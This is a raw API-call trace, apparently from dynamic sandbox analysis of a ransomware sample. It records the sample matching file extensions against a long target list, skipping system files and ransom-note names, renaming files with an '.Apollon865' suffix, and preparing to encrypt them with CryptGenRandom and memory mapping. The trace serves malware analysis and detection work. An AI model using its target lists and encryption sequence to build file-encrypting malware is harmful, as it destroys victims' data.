	[0083.317] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1
	[0083.317] lstrlenW (lpString="dbs") returned 3
	[0083.317] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1
	[0083.317] lstrlenW (lpString="dbt") returned 3
	[0083.317] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1
	[0083.317] lstrlenW (lpString="dbv") returned 3
	[0083.317] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1
	[0083.317] lstrlenW (lpString="dbx") returned 3
	[0083.317] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1
	[0083.317] lstrlenW (lpString="dcb") returned 3
	[0083.317] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1
	[0083.317] lstrlenW (lpString="dct") returned 3
	[0083.317] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1
	[0083.317] lstrlenW (lpString="dcx") returned 3
	[0083.318] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1
	[0083.318] lstrlenW (lpString="ddl") returned 3
	[0083.318] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1
	[0083.318] lstrlenW (lpString="dlis") returned 4
	[0083.318] lstrcmpiW (lpString1="_dll", lpString2="dlis") returned -1
	[0083.318] lstrlenW (lpString="dp1") returned 3
	[0083.318] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1
	[0083.318] lstrlenW (lpString="dqy") returned 3
	[0083.318] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1
	[0083.318] lstrlenW (lpString="dsk") returned 3
	[0083.318] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1
	[0083.318] lstrlenW (lpString="dsn") returned 3
	[0083.318] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1
	[0083.318] lstrlenW (lpString="dtsx") returned 4
	[0083.318] lstrcmpiW (lpString1="_dll", lpString2="dtsx") returned -1
	[0083.318] lstrlenW (lpString="dxl") returned 3
	[0083.318] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1
	[0083.318] lstrlenW (lpString="eco") returned 3
	[0083.318] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1
	[0083.318] lstrlenW (lpString="ecx") returned 3
	[0083.318] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1
	[0083.318] lstrlenW (lpString="edb") returned 3
	[0083.318] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1
	[0083.318] lstrlenW (lpString="epim") returned 4
	[0083.318] lstrcmpiW (lpString1="_dll", lpString2="epim") returned -1
	[0083.318] lstrlenW (lpString="fcd") returned 3
	[0083.318] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1
	[0083.318] lstrlenW (lpString="fdb") returned 3
	[0083.318] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1
	[0083.318] lstrlenW (lpString="fic") returned 3
	[0083.318] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1
	[0083.318] lstrlenW (lpString="flexolibrary") returned 12
	[0083.318] lstrcmpiW (lpString1="REST.trx_dll", lpString2="flexolibrary") returned 1
	[0083.318] lstrlenW (lpString="fm5") returned 3
	[0083.318] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1
	[0083.318] lstrlenW (lpString="fmp") returned 3
	[0083.318] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1
	[0083.318] lstrlenW (lpString="fmp12") returned 5
	[0083.319] lstrcmpiW (lpString1="x_dll", lpString2="fmp12") returned 1
	[0083.319] lstrlenW (lpString="fmpsl") returned 5
	[0083.319] lstrcmpiW (lpString1="x_dll", lpString2="fmpsl") returned 1
	[0083.319] lstrlenW (lpString="fol") returned 3
	[0083.319] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1
	[0083.319] lstrlenW (lpString="fp3") returned 3
	[0083.319] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1
	[0083.319] lstrlenW (lpString="fp4") returned 3
	[0083.319] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1
	[0083.319] lstrlenW (lpString="fp5") returned 3
	[0083.319] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1
	[0083.319] lstrlenW (lpString="fp7") returned 3
	[0083.319] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1
	[0083.319] lstrlenW (lpString="fpt") returned 3
	[0083.319] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1
	[0083.319] lstrlenW (lpString="frm") returned 3
	[0083.319] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1
	[0083.319] lstrlenW (lpString="gdb") returned 3
	[0083.319] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1
	[0083.319] lstrlenW (lpString="gdb") returned 3
	[0083.319] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1
	[0083.319] lstrlenW (lpString="grdb") returned 4
	[0083.319] lstrcmpiW (lpString1="_dll", lpString2="grdb") returned -1
	[0083.319] lstrlenW (lpString="gwi") returned 3
	[0083.319] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1
	[0083.319] lstrlenW (lpString="hdb") returned 3
	[0083.319] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1
	[0083.319] lstrlenW (lpString="his") returned 3
	[0083.319] lstrcmpiW (lpString1="dll", lpString2="his") returned -1
	[0083.319] lstrlenW (lpString="ib") returned 2
	[0083.319] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1
	[0083.319] lstrlenW (lpString="idb") returned 3
	[0083.319] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1
	[0083.319] lstrlenW (lpString="ihx") returned 3
	[0083.319] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1
	[0083.319] lstrlenW (lpString="itdb") returned 4
	[0083.319] lstrcmpiW (lpString1="_dll", lpString2="itdb") returned -1
	[0083.319] lstrlenW (lpString="itw") returned 3
	[0083.319] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1
	[0083.320] lstrlenW (lpString="jet") returned 3
	[0083.320] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1
	[0083.320] lstrlenW (lpString="jtx") returned 3
	[0083.320] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1
	[0083.320] lstrlenW (lpString="kdb") returned 3
	[0083.320] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1
	[0083.320] lstrlenW (lpString="kexi") returned 4
	[0083.320] lstrcmpiW (lpString1="_dll", lpString2="kexi") returned -1
	[0083.320] lstrlenW (lpString="kexic") returned 5
	[0083.320] lstrcmpiW (lpString1="x_dll", lpString2="kexic") returned 1
	[0083.320] lstrlenW (lpString="kexis") returned 5
	[0083.320] lstrcmpiW (lpString1="x_dll", lpString2="kexis") returned 1
	[0083.320] lstrlenW (lpString="lgc") returned 3
	[0083.320] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1
	[0083.320] lstrlenW (lpString="lwx") returned 3
	[0083.320] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1
	[0083.320] lstrlenW (lpString="maf") returned 3
	[0083.320] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1
	[0083.320] lstrlenW (lpString="maq") returned 3
	[0083.320] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1
	[0083.320] lstrlenW (lpString="mar") returned 3
	[0083.320] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1
	[0083.320] lstrlenW (lpString="marshal") returned 7
	[0083.320] lstrcmpiW (lpString1="trx_dll", lpString2="marshal") returned 1
	[0083.320] lstrlenW (lpString="mas") returned 3
	[0083.320] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1
	[0083.320] lstrlenW (lpString="mav") returned 3
	[0083.320] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1
	[0083.320] lstrlenW (lpString="maw") returned 3
	[0083.320] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1
	[0083.320] lstrlenW (lpString="mdbhtml") returned 7
	[0083.320] lstrcmpiW (lpString1="trx_dll", lpString2="mdbhtml") returned 1
	[0083.320] lstrlenW (lpString="mdn") returned 3
	[0083.320] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1
	[0083.320] lstrlenW (lpString="mdt") returned 3
	[0083.320] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1
	[0083.320] lstrlenW (lpString="mfd") returned 3
	[0083.320] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1
	[0083.321] lstrlenW (lpString="mpd") returned 3
	[0083.321] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1
	[0083.321] lstrlenW (lpString="mrg") returned 3
	[0083.321] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1
	[0083.321] lstrlenW (lpString="mud") returned 3
	[0083.321] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1
	[0083.321] lstrlenW (lpString="mwb") returned 3
	[0083.321] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1
	[0083.321] lstrlenW (lpString="myd") returned 3
	[0083.321] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1
	[0083.321] lstrlenW (lpString="ndf") returned 3
	[0083.321] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1
	[0083.321] lstrlenW (lpString="nnt") returned 3
	[0083.321] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1
	[0083.321] lstrlenW (lpString="nrmlib") returned 6
	[0083.321] lstrcmpiW (lpString1="rx_dll", lpString2="nrmlib") returned 1
	[0083.321] lstrlenW (lpString="ns2") returned 3
	[0083.321] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1
	[0083.321] lstrlenW (lpString="ns3") returned 3
	[0083.321] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1
	[0083.321] lstrlenW (lpString="ns4") returned 3
	[0083.321] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1
	[0083.321] lstrlenW (lpString="nsf") returned 3
	[0083.321] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1
	[0083.321] lstrlenW (lpString="nv") returned 2
	[0083.321] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1
	[0083.321] lstrlenW (lpString="nv2") returned 3
	[0083.321] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1
	[0083.321] lstrlenW (lpString="nwdb") returned 4
	[0083.321] lstrcmpiW (lpString1="_dll", lpString2="nwdb") returned -1
	[0083.321] lstrlenW (lpString="nyf") returned 3
	[0083.321] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1
	[0083.321] lstrlenW (lpString="odb") returned 3
	[0083.321] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1
	[0083.321] lstrlenW (lpString="odb") returned 3
	[0083.321] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1
	[0083.321] lstrlenW (lpString="oqy") returned 3
	[0083.321] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1
	[0083.321] lstrlenW (lpString="ora") returned 3
	[0083.322] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1
	[0083.322] lstrlenW (lpString="orx") returned 3
	[0083.322] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1
	[0083.322] lstrlenW (lpString="owc") returned 3
	[0083.322] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1
	[0083.322] lstrlenW (lpString="p96") returned 3
	[0083.322] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1
	[0083.322] lstrlenW (lpString="p97") returned 3
	[0083.322] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1
	[0083.322] lstrlenW (lpString="pan") returned 3
	[0083.322] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1
	[0083.322] lstrlenW (lpString="pdb") returned 3
	[0083.322] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1
	[0083.322] lstrlenW (lpString="pdm") returned 3
	[0083.322] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1
	[0083.322] lstrlenW (lpString="pnz") returned 3
	[0083.322] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1
	[0083.322] lstrlenW (lpString="qry") returned 3
	[0083.322] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1
	[0083.322] lstrlenW (lpString="qvd") returned 3
	[0083.322] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1
	[0083.322] lstrlenW (lpString="rbf") returned 3
	[0083.322] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1
	[0083.322] lstrlenW (lpString="rctd") returned 4
	[0083.322] lstrcmpiW (lpString1="_dll", lpString2="rctd") returned -1
	[0083.322] lstrlenW (lpString="rod") returned 3
	[0083.322] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1
	[0083.322] lstrlenW (lpString="rodx") returned 4
	[0083.322] lstrcmpiW (lpString1="_dll", lpString2="rodx") returned -1
	[0083.322] lstrlenW (lpString="rpd") returned 3
	[0083.322] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1
	[0083.322] lstrlenW (lpString="rsd") returned 3
	[0083.322] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1
	[0083.322] lstrlenW (lpString="sas7bdat") returned 8
	[0083.322] lstrcmpiW (lpString1=".trx_dll", lpString2="sas7bdat") returned -1
	[0083.322] lstrlenW (lpString="sbf") returned 3
	[0083.322] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1
	[0083.322] lstrlenW (lpString="scx") returned 3
	[0083.323] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1
	[0083.323] lstrlenW (lpString="sdb") returned 3
	[0083.323] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1
	[0083.323] lstrlenW (lpString="sdc") returned 3
	[0083.323] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1
	[0083.323] lstrlenW (lpString="sdf") returned 3
	[0083.323] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1
	[0083.323] lstrlenW (lpString="sis") returned 3
	[0083.323] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1
	[0083.323] lstrlenW (lpString="spq") returned 3
	[0083.323] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1
	[0083.323] lstrlenW (lpString="te") returned 2
	[0083.323] lstrcmpiW (lpString1="ll", lpString2="te") returned -1
	[0083.323] lstrlenW (lpString="teacher") returned 7
	[0083.323] lstrcmpiW (lpString1="trx_dll", lpString2="teacher") returned 1
	[0083.323] lstrlenW (lpString="tmd") returned 3
	[0083.323] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1
	[0083.323] lstrlenW (lpString="tps") returned 3
	[0083.323] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1
	[0083.323] lstrlenW (lpString="trc") returned 3
	[0083.323] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1
	[0083.323] lstrlenW (lpString="trc") returned 3
	[0083.323] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1
	[0083.323] lstrlenW (lpString="trm") returned 3
	[0083.323] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1
	[0083.323] lstrlenW (lpString="udb") returned 3
	[0083.323] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1
	[0083.323] lstrlenW (lpString="udl") returned 3
	[0083.323] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1
	[0083.323] lstrlenW (lpString="usr") returned 3
	[0083.323] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1
	[0083.323] lstrlenW (lpString="v12") returned 3
	[0083.323] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1
	[0083.323] lstrlenW (lpString="vis") returned 3
	[0083.323] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1
	[0083.323] lstrlenW (lpString="vpd") returned 3
	[0083.323] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1
	[0083.323] lstrlenW (lpString="vvv") returned 3
	[0083.323] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1
	[0083.324] lstrlenW (lpString="wdb") returned 3
	[0083.324] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1
	[0083.324] lstrlenW (lpString="wmdb") returned 4
	[0083.324] lstrcmpiW (lpString1="_dll", lpString2="wmdb") returned -1
	[0083.324] lstrlenW (lpString="wrk") returned 3
	[0083.324] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1
	[0083.324] lstrlenW (lpString="xdb") returned 3
	[0083.324] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1
	[0083.324] lstrlenW (lpString="xld") returned 3
	[0083.324] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1
	[0083.324] lstrlenW (lpString="xmlff") returned 5
	[0083.324] lstrcmpiW (lpString1="x_dll", lpString2="xmlff") returned -1
	[0083.324] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\OUTLLIBR.REST.trx_dll.Apollon865") returned 84
	[0083.324] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\OUTLLIBR.REST.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\outllibr.rest.trx_dll"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\OUTLLIBR.REST.trx_dll.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\outllibr.rest.trx_dll.apollon865"), dwFlags=0x1) returned 1
	[0083.325] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\OUTLLIBR.REST.trx_dll.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\outllibr.rest.trx_dll.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0083.325] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=681312) returned 1
	[0083.326] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0083.326] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0083.326] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0083.326] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0083.327] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0083.327] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0083.327] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa6860, lpName=0x0) returned 0x15c
	[0083.328] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xa6860) returned 0x4d0000
	[0083.593] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0083.594] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0083.594] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0083.594] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0083.594] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0083.594] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0083.594] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0083.594] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0083.594] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0083.594] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0083.594] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0083.594] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0083.595] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0083.595] UnmapViewOfFile (lpBaseAddress=0x4d0000) returned 1
	[0083.601] CloseHandle (hObject=0x15c) returned 1
	[0083.601] CloseHandle (hObject=0x9c) returned 1
	[0083.601] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0083.601] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0083.601] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0083.604] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1be9a700, ftCreationTime.dwHighDateTime=0x1caca12, ftLastAccessTime.dwLowDateTime=0xeef739f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1be9a700, ftLastWriteTime.dwHighDateTime=0x1caca12, nFileSizeHigh=0x0, nFileSizeLow=0x2b60, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OUTLWVW.DLL.trx_dll", cAlternateFileName="OUTLWV~1.TRX")) returned 1
	[0083.604] lstrcmpiW (lpString1="OUTLWVW.DLL.trx_dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0083.604] lstrcmpiW (lpString1="OUTLWVW.DLL.trx_dll", lpString2="Apollon865.txt.exe") returned 1
	[0083.604] lstrcmpiW (lpString1="OUTLWVW.DLL.trx_dll", lpString2=".") returned 1
	[0083.604] lstrcmpiW (lpString1="OUTLWVW.DLL.trx_dll", lpString2="..") returned 1
	[0083.604] lstrcmpiW (lpString1="OUTLWVW.DLL.trx_dll", lpString2="windows") returned -1
	[0083.604] lstrcmpiW (lpString1="OUTLWVW.DLL.trx_dll", lpString2="bootmgr") returned 1
	[0083.604] lstrcmpiW (lpString1="OUTLWVW.DLL.trx_dll", lpString2="temp") returned -1
	[0083.604] lstrcmpiW (lpString1="OUTLWVW.DLL.trx_dll", lpString2="pagefile.sys") returned -1
	[0083.604] lstrcmpiW (lpString1="OUTLWVW.DLL.trx_dll", lpString2="boot") returned 1
	[0083.604] lstrcmpiW (lpString1="OUTLWVW.DLL.trx_dll", lpString2="ids.txt") returned 1
	[0083.604] lstrcmpiW (lpString1="OUTLWVW.DLL.trx_dll", lpString2="ntuser.dat") returned 1
	[0083.604] lstrcmpiW (lpString1="OUTLWVW.DLL.trx_dll", lpString2="perflogs") returned -1
	[0083.604] lstrcmpiW (lpString1="OUTLWVW.DLL.trx_dll", lpString2="MSBuild") returned 1
	[0083.604] lstrlenW (lpString="OUTLWVW.DLL.trx_dll") returned 19
	[0083.604] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\OUTLLIBR.REST.trx_dll") returned 73
	[0083.604] lstrcpyW (in: lpString1=0x119e670, lpString2="OUTLWVW.DLL.trx_dll" | out: lpString1="OUTLWVW.DLL.trx_dll") returned="OUTLWVW.DLL.trx_dll"
	[0083.605] lstrlenW (lpString="OUTLWVW.DLL.trx_dll") returned 19
	[0083.605] lstrlenW (lpString="Apollon865") returned 10
	[0083.605] lstrcmpiW (lpString1="LL.trx_dll", lpString2="Apollon865") returned 1
	[0083.605] lstrlenW (lpString=".dll") returned 4
	[0083.605] lstrcmpiW (lpString1="OUTLWVW.DLL.trx_dll", lpString2=".dll") returned 1
	[0083.605] lstrlenW (lpString=".lnk") returned 4
	[0083.605] lstrcmpiW (lpString1="OUTLWVW.DLL.trx_dll", lpString2=".lnk") returned 1
	[0083.605] lstrlenW (lpString=".ini") returned 4
	[0083.605] lstrcmpiW (lpString1="OUTLWVW.DLL.trx_dll", lpString2=".ini") returned 1
	[0083.605] lstrlenW (lpString=".sys") returned 4
	[0083.605] lstrcmpiW (lpString1="OUTLWVW.DLL.trx_dll", lpString2=".sys") returned 1
	[0083.605] lstrlenW (lpString="OUTLWVW.DLL.trx_dll") returned 19
	[0083.605] lstrlenW (lpString="bak") returned 3
	[0083.605] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1
	[0083.605] lstrlenW (lpString="ba_") returned 3
	[0083.605] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1
	[0083.605] lstrlenW (lpString="dbb") returned 3
	[0083.605] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1
	[0083.605] lstrlenW (lpString="vmdk") returned 4
	[0083.605] lstrcmpiW (lpString1="_dll", lpString2="vmdk") returned -1
	[0083.605] lstrlenW (lpString="rar") returned 3
	[0083.605] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1
	[0083.605] lstrlenW (lpString="zip") returned 3
	[0083.605] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1
	[0083.605] lstrlenW (lpString="tgz") returned 3
	[0083.605] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1
	[0083.605] lstrlenW (lpString="vbox") returned 4
	[0083.605] lstrcmpiW (lpString1="_dll", lpString2="vbox") returned -1
	[0083.605] lstrlenW (lpString="vdi") returned 3
	[0083.605] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1
	[0083.605] lstrlenW (lpString="vhd") returned 3
	[0083.605] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1
	[0083.605] lstrlenW (lpString="vhdx") returned 4
	[0083.605] lstrcmpiW (lpString1="_dll", lpString2="vhdx") returned -1
	[0083.605] lstrlenW (lpString="avhd") returned 4
	[0083.605] lstrcmpiW (lpString1="_dll", lpString2="avhd") returned -1
	[0083.605] lstrlenW (lpString="db") returned 2
	[0083.606] lstrcmpiW (lpString1="ll", lpString2="db") returned 1
	[0083.606] lstrlenW (lpString="db2") returned 3
	[0083.606] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1
	[0083.606] lstrlenW (lpString="db3") returned 3
	[0083.606] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1
	[0083.606] lstrlenW (lpString="dbf") returned 3
	[0083.606] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1
	[0083.606] lstrlenW (lpString="mdf") returned 3
	[0083.606] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1
	[0083.606] lstrlenW (lpString="mdb") returned 3
	[0083.606] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1
	[0083.606] lstrlenW (lpString="sql") returned 3
	[0083.606] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1
	[0083.606] lstrlenW (lpString="sqlite") returned 6
	[0083.606] lstrcmpiW (lpString1="rx_dll", lpString2="sqlite") returned -1
	[0083.606] lstrlenW (lpString="sqlite3") returned 7
	[0083.606] lstrcmpiW (lpString1="trx_dll", lpString2="sqlite3") returned 1
	[0083.606] lstrlenW (lpString="sqlitedb") returned 8
	[0083.606] lstrcmpiW (lpString1=".trx_dll", lpString2="sqlitedb") returned -1
	[0083.606] lstrlenW (lpString="xml") returned 3
	[0083.606] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1
	[0083.606] lstrlenW (lpString="$er") returned 3
	[0083.606] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1
	[0083.606] lstrlenW (lpString="4dd") returned 3
	[0083.606] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1
	[0083.606] lstrlenW (lpString="4dl") returned 3
	[0083.606] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1
	[0083.606] lstrlenW (lpString="^^^") returned 3
	[0083.606] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1
	[0083.606] lstrlenW (lpString="abs") returned 3
	[0083.606] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1
	[0083.606] lstrlenW (lpString="abx") returned 3
	[0083.606] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1
	[0083.606] lstrlenW (lpString="accdb") returned 5
	[0083.606] lstrcmpiW (lpString1="x_dll", lpString2="accdb") returned 1
	[0083.606] lstrlenW (lpString="accdc") returned 5
	[0083.606] lstrcmpiW (lpString1="x_dll", lpString2="accdc") returned 1
	[0083.606] lstrlenW (lpString="accde") returned 5
	[0083.607] lstrcmpiW (lpString1="x_dll", lpString2="accde") returned 1
	[0083.607] lstrlenW (lpString="accdr") returned 5
	[0083.607] lstrcmpiW (lpString1="x_dll", lpString2="accdr") returned 1
	[0083.607] lstrlenW (lpString="accdt") returned 5
	[0083.607] lstrcmpiW (lpString1="x_dll", lpString2="accdt") returned 1
	[0083.607] lstrlenW (lpString="accdw") returned 5
	[0083.607] lstrcmpiW (lpString1="x_dll", lpString2="accdw") returned 1
	[0083.607] lstrlenW (lpString="accft") returned 5
	[0083.607] lstrcmpiW (lpString1="x_dll", lpString2="accft") returned 1
	[0083.607] lstrlenW (lpString="adb") returned 3
	[0083.607] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1
	[0083.607] lstrlenW (lpString="adb") returned 3
	[0083.607] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1
	[0083.607] lstrlenW (lpString="ade") returned 3
